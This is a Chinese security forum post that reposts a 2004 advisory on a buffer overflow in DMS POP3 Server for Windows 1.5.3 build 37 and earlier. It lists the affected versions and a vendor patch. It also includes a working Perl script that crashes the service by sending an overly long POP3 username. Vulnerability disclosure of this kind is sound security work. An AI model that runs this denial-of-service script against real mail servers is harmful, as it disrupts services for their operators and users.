‹‹ 上一主题 | 下一主题 ››
发新话题
打印

Buffer overlow in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior

冰血封情

老林

团队决策人

Rank: 9Rank: 9Rank: 9

E.S.T运营责任人

帖子
6819 
精华
835 
积分
36108 
阅读权限
255 
性别
男 
来自
中国 
在线时间
584 小时 
注册时间
2004-6-25 
最后登录
2008-8-19 

优秀管理奖 资料收集奖 原创技术奖 核心建议奖

楼主 大 中 小 发表于 2004-11-20 04:37  只看该作者

Buffer overlow in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior

文章作者：reedarvin[at]gmail[dot]com

('binary' encoding is not supported, stored as-is) Summary:
A buffer overflow exists in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 (http://www.digitalmapping.sk.ca/pop3srv/default.asp) and prior versions.

Details:
A buffer overflow occurs during the POP3 authentication process when an overly long username is supplied. When the username buffer is overflowed successfully the DMS POP3 Service dies resulting in a denial of service.

Vulnerable Versions:
DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions

Solutions:
The vendor has provided a patch to fix this issue:
http://www.digitalmapping.sk.ca/pop3srv/Update.asp

Exploit:
复制内容到剪贴板
代码:
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
# DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# [url]http://www.digitalmapping.sk.ca/pop3srv/default.asp[/url]
#
# Patch:
# [url]http://www.digitalmapping.sk.ca/pop3srv/Update.asp[/url]
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                        PeerPort => $ARGV[1],
                        Proto => "TCP"))
{
      print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

      sleep(1);

      print $socket "USER " . "A" x 1023;

      close $socket;

      sleep(1);

      if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => $ARGV[1],
                              Proto => "TCP"))
      {
           close $socket;

           print "failed!\n";
      }
      else
      {
           print "successful!\n";
      }
}
else
{
      print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#===== End DMS_POP3_Overflow.pl =====
Discovered by Reed Arvin reedarvin[at]gmail[dot]com

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题